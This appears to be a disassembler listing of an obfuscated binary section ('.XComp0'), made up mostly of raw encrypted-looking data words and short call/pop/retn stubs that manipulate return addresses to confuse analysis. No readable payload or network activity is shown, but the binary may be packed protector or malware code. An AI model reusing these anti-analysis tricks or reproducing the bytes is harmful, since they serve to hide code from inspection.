		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0FE9E7C3h
		dd 75000000h, 0B49D86D1h, 0C76D3D4Ch, 1E40349Ah, 0BD895867h
		dd 5F91651h, 0DE9h, 1747AE00h, 2CE024D8h, 0F4B37755h, 0BD83BF2Dh
		dd 5F900FDh, 78850F03h,	6A000004h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 6D67C357h
		dd 616C04B9h, 9D8BFE8Bh, 5F90891h, 0FC21BD83h, 0F0005FCh
		dd 44284h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1704h, 0C3504000h, 0E05169B1h, 0FC21B5FFh, 43BF05FCh
		dd 0FF74B447h, 0F91AAD95h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0AFD03369h
		dd 8B538CF1h, 0F927A19Dh
		dd 0B58B5B05h, 5FCFC15h, 2AFD8D29h, 6C705F9h, 10001h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0B1C35747h, 85CE3219h
		dd 8DD781F3h, 5077C40Dh, 22FE54BFh, 24348909h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0BC35747h, 0C839D832h
		dd 0FC21B5FFh, 6A05FCh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 23C7ECC3h, 9634BF66h, 272995FFh
		dd 816605F9h, 8B450FDBh, 0FCFC15B5h, 0F3816605h, 858B76AAh
		dd 5F91809h, 8D5AE381h,	86894B87h, 0C4h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 18h, 0E9C35545h, 0DC25B494h
		dd 0AE8h, 63789900h, 97B4FE04h,	8A462A6Ch, 0BF665BFAh
		dd 958BF88Eh, 5F90CDDh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0B3C35343h, 78E7800Eh, 83FBB70Fh, 6A04C2h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0CA761FC3h, 0B8FA96CAh, 50895825h, 399D2B20h, 8D05F916h
		dd 0FD10E985h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 4F0CD715h, 0B88689F9h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 1594C353h, 6A006AE6h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 2C63C352h, 0F3DADFCEh, 0FBA3046h, 982h, 95896000h, 5F91639h
		dd 8B6061FCh, 0F9204195h, 0B5FF6105h, 5FCFC21h,	0FFD98B66h
		dd 0F9009995h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0CA208CF0h, 154D9531h
		dd 9D8B05F9h, 5F919F1h,	0D88B6650h, 6A243489h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0BF2AC353h, 8F38060h, 6810Fh, 820F0000h, 0
; ---------------------------------------------------------------------------
		popa
		add	edi, [ebp+5F9079Dh]
		push	dword ptr [ebp+5FCFC21h]
		push	0
		push	edx
		call	sub_5BC49C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC49C	proc near		; CODE XREF: .XComp0:005BC494p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5BC49C	endp

; ---------------------------------------------------------------------------
		dd 38F06F1h, 837B66E8h,	34119D8Bh, 95FF05F9h, 5F93569h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D2C35242h
		dd 9D8B64E5h, 5F92739h,	17F5BD83h, 0F0005F9h, 4A84h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 66D6F179h, 9E40DF81h, 0F98B6696h, 96FE8B50h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0F1C35141h, 0FFFE8B66h
		dd 0FCFC21B5h, 0FBB70F05h, 0FFFB8B66h, 0F92E6D95h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 21B5FFECh, 0F05FCFCh, 689h, 0DDBD8B00h, 0FF05F932h
		dd 0F921DD95h, 0FE8B6605h, 0A2DBD83h, 0F0205F9h, 3784h
		dd 359D8B00h, 8B05F91Fh, 0F9115185h, 0B4BF6605h, 810F603Eh
		dd 0
; ---------------------------------------------------------------------------
		jmp	loc_5BC5BE
; ---------------------------------------------------------------------------
		db 91h,	6, 2Fh
		dd 9522C066h, 8916A935h, 75C08F4Dh
		db 0DFh, 7Bh
; ---------------------------------------------------------------------------


loc_5BC5BE:				; CODE XREF: .XComp0:005BC5A8j
		popa
		mov	byte ptr [eax],	0
		mov	ebx, [ebp+5F928D5h]
		mov	dword ptr [ebp+5F93319h], 0
		push	0
		push	ebx
		call	sub_5BC5DD
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC5DD	proc near		; CODE XREF: .XComp0:005BC5D5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5BC5DD	endp

; ---------------------------------------------------------------------------
		push	es
		push	ds
		sub	eax, 0AD15C591h
		call	sub_5BC603
		or	al, 85h
		pop	ecx
		pop	es
		mov	bl, 84h
		clc
		push	ss
		mov	dh, bl

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5BC603	proc near		; CODE XREF: .XComp0:005BC5F4p
		jmp	sub_5BC61C
sub_5BC603	endp

; ---------------------------------------------------------------------------
		dd 0ACE145DFh, 73291B37h, 0B02FC089h
; ---------------------------------------------------------------------------
		lahf
		pop	ss
; START	OF FUNCTION CHUNK FOR sub_5BC61C


loc_5BC616:				; CODE XREF: sub_5BC61C+Cj
		pusha
		push	ss
		retn	0A05Dh
; END OF FUNCTION CHUNK	FOR sub_5BC61C
; ---------------------------------------------------------------------------
		db 0C7h

; =============== S U B	R O U T	I N E =======================================



sub_5BC61C	proc near		; CODE XREF: sub_5BC603j

; FUNCTION CHUNK AT 005BC616 SIZE 00000005 BYTES

		pop	ebx
		jnb	loc_5BC637
		call	sub_5BC630
		jg	short loc_5BC616
		sbb	al, 4Bh
		add	eax, [ecx+esi-1Fh]
sub_5BC61C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5BC630	proc near		; CODE XREF: sub_5BC61C+7p
		add	[ebp+5F90B45h],	edx
		pop	edi


loc_5BC637:				; CODE XREF: sub_5BC61C+1j
		jmp	near ptr dword_5BB2B0+640h
sub_5BC630	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmc
		mov	eax, ecx
		push	0
		push	edx
		call	sub_5BC64A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC64A	proc near		; CODE XREF: .XComp0:005BC642p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5BC64A	endp

; ---------------------------------------------------------------------------
		dw 3FDDh
		dd 29A97E51h, 0CD8D89C1h, 0E905F908h, 9, 2E40BB53h, 0
		dd 80FE900h, 0E0FF0000h, 4EC0B31h, 0CCEED90Bh, 0F9E20537h
		dd 0CDEDD80Ch, 0F130023Ah, 37ED1AC2h, 27DD2E90h, 38EC1DC0h
		dd 27DD308Dh, 1E5FFCBDh, 9B239875h, 0A5B68B36h,	239875D4h
		dd 6667A44Ah, 0C05653B3h, 8B31CE7Ah, 0BA5C0D80h, 7A7B923Bh
		dd 82BA4D6Dh, 78A37A63h, 29968605h, 0B31A8582h,	3F8A5F56h
		dd 48BB1D9Ah, 85F78291h, 87742996h, 44BB7E67h, 6685729Bh
		dd 7B6493A3h, 0B41C1B92h, 434AC529h, 88D7664h, 5C519851h
		dd 1499705Bh, 575EA513h, 96489671h, 0FEDDDA9Fh,	0CE1CEB0Bh
		dd 3F3AD920h, 0BC299685h, 1FC02FBFh, 851C5DFEh,	0EC992996h
		dd 0DCA4FD08h, 18D1C795h, 82FB18E1h, 0FF2995D8h, 981DEED0h
		dd 4CE608C1h, 3CD742A9h, 2995D841h, 0D408C1BEh,	0FCF9E133h
		dd 35C32D52h, 1EEBD221h, 0DD2E9097h, 1FEECFD8h,	0EA25C9AEh
		dd 489671E3h, 48AF8C96h, 729535A8h, 7A6897B7h, 689F4BB4h
		dd 0AC598265h, 53B97029h, 1CC7EF78h, 37B658B2h,	72994394h
		dd 1BA485B7h, 37B658AFh, 64A74596h, 0CDA074ADh,	0CC8DFC91h
		dd 4DC21E99h, 647D9148h, 95EC9BDFh, 53B21729h, 91745562h
		dd 89D5B01Ch, 0E6EE13D5h, 252AF7EBh, 7A89AD7Eh,	0A5C69A6Ch
		dd 8B7F4D2Fh, 0C9000000h, 5678638Ch, 836940B5h,	23FB6CECh
		dd 0CDC00917h, 9BBFA82Ch, 8D38E5DAh, 0F891E669h, 0B342995h
		dd 0F8542536h, 0D4D12995h, 0AF97C342h, 4D2FD03Dh, 3DD2EE09h
		dd 10D19h, 0CED70000h, 1C608831h, 424025FEh, 6D3CB178h
		dd 49C62AC9h, 627B6344h, 52438E7Bh, 5CAD10A7h, 0C7492A78h
		dd 97B7E1BDh, 7D607358h, 0A166866Fh, 4089D25Fh,	0AC559C4Dh
		dd 13F18628h, 1D3155ABh, 705E59C4h, 89BB547Ch, 54B317A0h
		dd 838A33C2h, 608CBF61h, 85E19CB7h, 0A15E2996h,	85A2DB78h
		dd 621F2996h, 8CC772A7h, 299685F1h, 449DB16Eh, 6D947B63h
		dd 7B9B6852h, 0C713F272h, 0D70205E5h, 0D0339522h, 96853A43h
		dd 24CAB729h, 0B02EB0Ah, 8DF02BD6h, 0A299685h, 7F0F91Dh
		dd 582132E1h, 0D5299685h, 0D438E128h, 6B9F43A2h, 746D819Bh
		dd 592D39D4h, 4D2F6677h, 0DF30h, 0C9090B00h, 10E21281h
		dd 8CE056F8h, 0E19CB760h, 5E299685h, 46B168A1h,	16CF5FA4h
		dd 0A55CA711h, 5F56B31Ah, 7C7B648Ah, 3740B54Eh,	0E3817493h
		dd 508D604h, 0FB7E9D64h, 78299685h, 21946F59h, 8E6D8148h
		dd 97806C40h, 9686017Ch, 16817E29h, 876253B8h, 0B1629742h
		dd 299685C8h, 7CB65845h, 6B967159h, 85F48596h, 0B4712996h
		dd 59A049A2h, 9685BFBAh, 0AF3F3C29h, 0AF6A9B40h, 85B0C98Ah
		dd 0CA262996h, 25995045h, 2A0DD678h, 614647C4h,	921B927Dh
		dd 6BF5A9B5h, 0FFF8B6A4h, 0FF042AD9h, 4D2F5C9Dh, 771Ah
		dd 608CEC00h, 7DB45775h, 0CB88B178h, 299685B2h,	6C9D402Fh
		dd 0D579B069h, 5B52B716h, 1697705Ch, 6C61AC11h,	6B331FEEh
		dd 806C7A95h, 0DDA0BB5Ch, 5A299685h, 5EC064ADh,	2AAB648Ch
		dd 0B354787Fh, 85CAB0A3h, 0CA6F2996h, 8599E46Fh, 69162996h
		dd 862836C5h, 49B65179h, 3DD2649Fh, 4D2F5DA3h, 3576A173h
		dd 0A706B155h, 0A9B87h,	6E660000h, 0F27723AEh, 2E042A0Ch
		dd 7D8831CEh, 5E8DA178h, 6552877Ch, 58118487h, 0A54A2DB6h
		dd 85A2DB78h, 0B5182996h, 7CB57254h, 0C7ED4FC5h, 8112947Ah
		dd 0DD2FCBF9h, 14B8157Eh, 1AC13EF3h, 0A1865FEFh, 0F560B43Ch
		dd 66836A19h, 9E3D2AABh, 29E06A6Bh, 64D9613Dh, 51D4D870h
		dd 40D623AAh, 0DED995C1h, 0D48508FDh, 0FE05B342h, 5E841246h
		dd 31A35EA3h, 350D109Eh, 3D40DB81h, 0BA299641h,	82629CDh
		dd 1B2F8F63h, 1F9CDD7Eh, 6C19239Dh, 0A64730A5h,	309D454Ah
		dd 5891BA35h, 527C83A4h, 0D16534B9h, 0A950BD22h, 5459AE0Eh
		dd 0CB787185h, 239CD9B0h, 4449C62Ah, 21947B63h,	0E8B6A483h
		dd 45E9F510h, 2F310BAh,	7E80727h, 96F9DB06h, 0C7866518h
		dd 75929CB2h, 1A02AD9Fh, 0DD713979h, 0A55CB10Eh, 0C056B31Ah
		dd 6E9F4027h, 67A04CB3h, 9F861EC7h, 0C714B9B3h,	0F42DE423h
		dd 42AE10Bh, 0CEF20D2Ah, 6EAD4C41h, 239D2A0Bh, 0C0569B88h
		dd 0D601914Bh, 705A6548h, 1E0578A3h, 8582239Dh,	0A27EAA4Ch
		dd 0C8000001h, 7F8A31CEh, 0AFBB5B0Eh, 0FC0BAF39h, 3B4F0C35h
		dd 0D92F8F91h, 798AF320h, 1A07239Dh, 0F1CDFCF4h, 0EAC2971Eh
		dd 4D7E80AFh, 0E51CD572h, 0F618F5DAh, 0BB34CEDh, 0DA03F204h
		dd 0CDF10E33h, 826C4B42h, 9C550489h, 0B815C07Ah, 0C6DD9E38h
		dd 0BC0AE227h, 1A9B5644h, 0A45DB00Dh, 5657AE1Bh, 0B86A5D66h
		dd 0FA2F9F67h, 2E198B54h, 6AA34C20h, 806A55B2h,	0C29E7383h
		dd 9248D68Bh, 0A3D1AC67h, 514E239Ch, 4961BDh, 0FFC30000h
		dd 2ED50365h, 3C1D3EE3h, 0F9A99685h, 6EAD50Ch, 57FCE509h
		dd 0A9968526h, 0EE848831h, 5F04EBDFh, 133FBE50h, 8F78645Bh
		dd 0BFAB4B1Eh, 0F54CF525h, 529E60Ah, 963F1742h,	0F527D429h
		dd 0D8D0h, 318E2900h, 0FF043ADCh, 4B083169h, 2F8F863Bh
		dd 0B740F9A6h, 0F601F413h, 0FDFA2FD4h, 0F0A92CDFh, 3DA2855Eh
		dd 0CACB409Eh, 0C748A80Fh, 23DE13C6h, 0D5D8319Ch, 0DF48F204h
		dd 8480F91Ah, 0FD239Dh,	2FDEFFEEh, 3ED1ED0Ah, 3444CF18h
		dd 0B4239D85h, 0AB8C010Ah, 23C6C73Eh, 9D8385F8h, 2F050223h
		dd 8C540A58h, 76575581h, 79556297h, 48C32996h, 4ADC8CA6h
		dd 3F3AD920h, 0BC239D83h, 834934BFh, 0D9C6239Dh, 0CA2AE910h
		dd 51299B93h, 79566154h, 92792194h, 0AA22AA44h,	0B221F3ABh
		dd 990F5BFBh, 0B2619841h, 1D9EA2C7h, 7A6C9F3Dh,	0B6C7548Dh
		dd 331D9EA2h, 0AE53E076h, 0A2B5C853h, 85321D9Eh, 9EA2A3D6h
		dd 0AE63201Dh, 0B32FC588h, 0ACB6239Ch, 0A6C3B8E6h, 0F113DE15h
		dd 0FF69FF4Fh, 2A72EDDh, 96852851h, 31F8A529h, 90CB41F8h
		dd 1FBBDF14h, 69909DB1h, 749A6F4Eh, 943023D1h, 1ECBAA2Fh
		dd 0F722E7h, 98FE0FDDh,	207718E9h, 9B9C45E9h, 9926DB32h
		dd 1BF2DA35h, 4700EA93h, 6B8AA44Ah, 69568B82h, 0C1528782h
		dd 239837B8h, 3DA64835h, 56DA5596h, 605E74Fh, 0C647A88Fh
		dd 5C8A7DCFh, 13EE8B82h, 0D9957508h, 2135F2F7h,	0BD3AF4E2h
		dd 0FA11BB20h, 4BEB26F3h, 0F2AD43ACh, 0D350C14Ch, 772A158h
		dd 84F7D9C4h, 10A75297h, 0CEAF6CADh, 4BF7D9C3h,	0B983935Eh
		dd 0F6AA950h, 8CF7D9C4h, 46C7288Fh, 75749A4Fh, 738CB558h
		dd 5BECC047h, 17EFD67Dh, 5722CB6Bh, 0D80871A2h,	9885F7D9h
		dd 0B3527776h, 0BD48718Eh, 9BB86138h, 0F7D9D7E2h, 538CA25Fh
		dd 0A4AF8AB7h, 0F7D9D7D9h, 0D7F78291h, 8774F7D9h, 35C46A17h
		dd 739A4329h, 12C926D1h, 49C02BAAh, 955C9544h, 73A05920h
		dd 0F7D9D80Ah, 0E2C37D87h, 20D76650h, 0AA445E9h, 0DC000000h
		dd 7F8A31CEh, 0BFBB5B0Eh, 0AC658C09h, 6CA13E29h, 0AA5F7E69h
		dd 719A4423h, 0B84F7B7Ch, 7D8A3235h, 0BB4A6F78h, 788B2D3Ah
		dd 0C14E7275h, 24681BCCh, 89000074h, 3568240Ch,	8900000Fh
		dd 8951242Ch, 4C181E1h,	83000000h, 0C8704E9h, 0C895C24h
		dd 7B70BD24h, 454515F7h, 0B0E5814Dh, 5114CA45h,	0FE0C1FB9h
		dd 2EC9814Bh, 81410B07h, 0B74F50F1h, 0A3E98134h, 4952BF6Bh
		dd 56EE981h, 0CD013B4Dh, 6F2D6859h, 24890000h, 24048124h
		dd 4, 8BB5359h,	1000000h, 8B2B89CBh, 0C483241Ch, 240C8B04h
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 8B5C240Ch
; ---------------------------------------------------------------------------
		sub	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		db 67h
		dd 17F9B8B5h, 0C50305FEh, 0EE98E0FFh, 0C5C46C2Bh, 6366593Fh
		dd 0B41F2B83h, 4A7C22FCh, 0C6EB3595h, 0B7AD4D55h, 0EECE0F89h
		dd 4DAE7506h, 3EBD5FC5h, 959698Ch, 0EB4F0F88h, 4187484Ah
		dd 0A9C756C5h, 7A541DA9h, 16A30141h, 9BD96090h,	93B723B0h
		dd 11EF3F9Eh, 0F15721DFh, 6D81E94h, 0A564756Ch,	9D7875ECh
		dd 0A5040440h, 38FD17C7h, 50402B94h, 0B841545Dh, 3F636009h
		dd 0DD5F1D2Ch, 0BD4B6CFEh, 3E04247Ch, 63A610ECh, 858D0159h
		dd 5F90DC1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	8FC35141h, 9D8B21E9h, 5F90DD5h,	66525050h, 0F2254BBh
		dd 5AD88B31h, 24048958h, 68A0Fh, 0DB810000h, 6F061CABh
		dd 2231BD31h, 6A05F9h, 0EE9h, 0F1068B00h, 2D24C345h, 0FE3E74AFh
		dd 6A32CA4Eh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0A74CD64Ch, 0ADF61A0Eh, 8313BB66h
		dd 39E78153h, 5F00CE73h, 1AFC858Dh, 6A05FEh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 9D6662C3h
		dd 0AF18589h, 0C08305F9h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 9282DA6Ch
		dd 366DD224h, 0BB6650F8h, 489C6B2h, 8B665324h, 6A5FDAh
		dd 13E960h, 968D0000h, 0DFFA475Bh, 74739E56h, 0A2B22F52h
		dd 198926Eh, 9AB761E2h,	6660006Ah, 0CE9F98Bh, 0C5000000h
		dd 893A471Bh, 57AB6DD9h, 61927204h, 13ED95FFh, 6A05F9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8DF533C3h, 0FCE9838Dh, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0E8D1FFECh
		dd 9, 30C064A0h, 0F2C464D4h, 0BD896001h, 5F931D9h, 0D558589h
		dd 5B6105F9h, 1785BD83h, 0F0105F9h, 4085h, 53BB6600h, 89026A39h
		dd 0F933318Dh, 0B8BB5005h, 892A7CE8h, 0BD232404h, 5F90D11h
		dd 9995FFh, 6A05F9h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8BE929C3h, 0DFBE9D9h, 0E80000h
		dd 5D000000h, 1B06ED81h, 6A05FEh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0CE31DBC3h, 9589F84Ah
		dd 5F91469h, 16459D89h,	858D05F9h, 5FCD97Ch, 0FE9h, 0E2C45400h
		dd 8C610727h, 2B775DC3h, 0F75BA6A3h, 38A0Fh, 0BF0F0000h
		dd 9E850FEh, 0E000000h,	0E799BA59h, 0FEE2251Ah,	12E9h
		dd 12217C00h, 5D4C5492h, 0DE46E9DAh, 51F72CDAh,	5F4CB0E6h
		dd 81240489h, 32BCE2DFh, 0CBC7806Ah, 35FF64h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0F5AC357h, 8964D9BFh, 25h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0E9DC521Bh, 12h, 0B4C2F707h,	0C5E242DBh, 0F3B3A438h
		dd 0C0B86F49h, 85FF1C44h, 5F9197Dh, 6AD9B70Fh, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0C49C56EDh, 1F24A56Ah, 2960972Ah, 0F904B9BDh, 0B5FF6105h
		dd 5F90751h, 15599D8Bh,	95FF05F9h, 5F90911h, 0E5E9h, 0B0F8F900h
		dd 0FD8D8900h, 0E605F925h, 0BD9D8B70h, 0E405F927h, 0B19D2B71h
		dd 0F505F912h, 830F613Ch, 0C2h,	0FD9BF0Fh, 8166C8B6h, 0BA24D8CBh
		dd 6, 7BC78166h, 0BC18BA7h, 0F91541BDh,	75BD2905h, 0C105F929h
		dd 0D78004E8h, 0E2F766D8h, 8BC82BF8h, 0F9176DBDh, 66D18B05h
		dd 0E9A8AEBBh, 82h, 6860Fh, 9D8B0000h, 5F90FEDh, 8858Bh
		dd 8D890000h, 5F90661h,	6607C083h, 83341EBFh, 858900C0h
		dd 5F9176Dh, 830FD03Bh,	17h, 4CE9F8h, 0CE90000h, 0F4000000h
		dd 0BD0F77D1h, 0A4A4CB30h, 8BF16D6Fh, 0FFFFFF8Dh, 45BD31FFh
		dd 8305F90Ah, 840F01E1h, 26h, 72CB8166h, 0FFA58385h, 0FEFFFFFFh
		dd 22159D2Bh, 958905F9h, 8, 2E8D9D23h, 8B6605F9h, 0E9F9h
		dd 0B58D0000h, 5FD92EDh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 0D3C35646h, 19819D8Bh, 6A05F9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7AC35242h, 0F50AB70Eh
		dd 1AED95FFh, 6A05F9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 86FE46C3h, 0DD9D89FCh, 0B905F905h
		dd 0F6Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	8C35545h, 66FCE183h, 81FCDE8Bh,	0CA75C6D7h, 6AC02B56h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0FC39C355h, 0A92AB12Ch, 0BA5Dh, 9E80000h
		dd 93000000h, 0C7096247h, 248029B6h, 0C233AD5Fh, 0D003E8D1h
		dd 7504E983h, 870FF5F4h, 6, 15A5BD89h, 6A05F9h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 66EFE9C3h, 0BD0EEF81h, 880Dh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0A6878897h
		dd 90F7E537h, 0B50960F8h, 5F90C0Dh, 61FB8B66h, 0CDD958Bh
		dd 6A05F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0FEA60CC3h, 26C18D8Bh, 63BB05F9h,	93CBABDh
		dd 0F919798Dh, 0C28B5005h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0BC23C355h, 79B70497h,	24458589h
		dd 0BD8305F9h, 5F91159h, 0AB840F00h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 7986C350h, 0BE93257h, 59000000h, 82FE842h, 0C3C8A27Ch
		dd 0BE8D139h, 71000000h, 2D2B69DBh, 5497CCDCh, 5BFC23B3h
		dd 0B8h, 11E900h, 0EFA90000h, 52338349h, 4096D0C4h, 363580A0h
		dd 8DC7F1B8h, 0F94EE88Dh, 0CD9D8B05h, 0FF05F904h, 53006AE1h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0DB75F47Bh, 0DE9h, 0DA0F1E00h, 0B9DD3A83h, 52D90494h
		dd 9E98C02h, 5D000000h,	2F299FA2h, 0BB6B4803h, 0BD83DA8Bh
		dd 5F900FDh, 5C840F00h,	66000004h, 83FC5CBBh, 0F900FDBDh
		dd 840F0105h, 466h, 61CFBB66h, 0FDBD83h, 0F0305F9h, 41F86h
		dd 0B7BF6600h, 8B0F60DDh, 6, 4D1BD33h, 8C6605F9h, 51006AD9h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 807A1580h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 8010D8C3h, 0AD21EC5h, 0D9840FC9h
		dd 66000000h, 0DE8AFB8Bh, 2599858Bh, 952905F9h,	5F9347Dh
		dd 42D8533h, 0BB6605F9h, 0BF508A3Eh, 56DA6406h,	60240489h
		dd 0FEA2BB66h, 14B99D8Bh, 6A6105F9h, 14E900h, 82D0000h
		dd 1D56ACCAh, 363B73F3h, 0C0EB71F6h, 3772531h, 4E81FD0h
		dd 0FF000000h, 66001F03h, 50A890BFh, 448BDA8Bh,	0BF660424h
		dd 8B1CBCh, 4244489h, 58F98B66h, 6860Fh, 0B5310000h, 5F9282Dh
		dd 2AC595FFh, 0D38105F9h, 30BDC1F8h, 0FC218589h, 6A05FCh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 592F1FC3h, 35354969h, 8B26C949h, 0F90C4D9Dh,	28EE905h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0C7C790C3h, 0FC19858Bh, 14E805FCh, 0E8000000h
		dd 66982142h, 7905FFEBh, 0B3704494h, 613E31Fh, 6687B5C9h
		dd 0C75FDE8Bh, 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0FEF81CCBh, 0C7707840h
		dd 0EEC78167h, 8B506227h, 0FCFC1DB5h, 89858B05h, 6A05F92Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0FF3BC357h, 0E9B009D5h, 89C5AA3Ch, 0F9076585h
		dd 6A068905h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0D65CC350h, 0D9B7EFDCh, 858BFA8Bh
		dd 5F92599h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	39C35747h, 9DB663A2h, 89FBBF0Fh, 6A0446h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 97C1ADC3h, 27D99509h, 509605F9h, 96FA8B66h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 91C35343h, 0A1D80A52h
		dd 0B5FFC3E0h, 5FCFC19h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0FDC35545h, 9D33565Fh, 5F919DDh, 4E85Fh
		dd 3FF0000h, 8B66001Fh,	0DD8A50DAh, 424448Bh, 7832BF66h
		dd 14E9008Bh, 91000000h, 32649A57h, 40581C2Bh, 0C48F71D2h
		dd 40C18CBFh, 894BEAE5h, 50042444h, 0D2BB6052h,	0F114514h
		dd 8Bh,	310F6100h, 6E9h, 2AADCF00h, 5AEB309Dh, 6A5858h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0EE9CA0C3h, 0B532D61Ah, 0EE9h, 4CB9E500h, 0AAB2A790h
		dd 2C33E5FBh, 8DD6B5BEh, 0FCFC2185h, 55006A05h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0F30996FBh
		dd 0F300173Fh, 1F818589h, 12E905F9h, 4D000000h,	3F294F1Bh
		dd 1A320D8Dh, 0B05D5282h, 37F9A7DDh, 830F903Eh,	2, 6050F98Bh
		dd 8B0F00B4h, 4, 8696BA66h, 6A9061h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0E99747C3h
		dd 0BA460DD9h, 0EB81A970h, 53DDC8C0h, 2AC595FFh, 0BD8905F9h
		dd 5F91895h, 919D8961h,	8905F909h, 0F92BA1BDh, 0FD85C705h
		dd 305F900h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 9CE7C357h, 0BD833667h
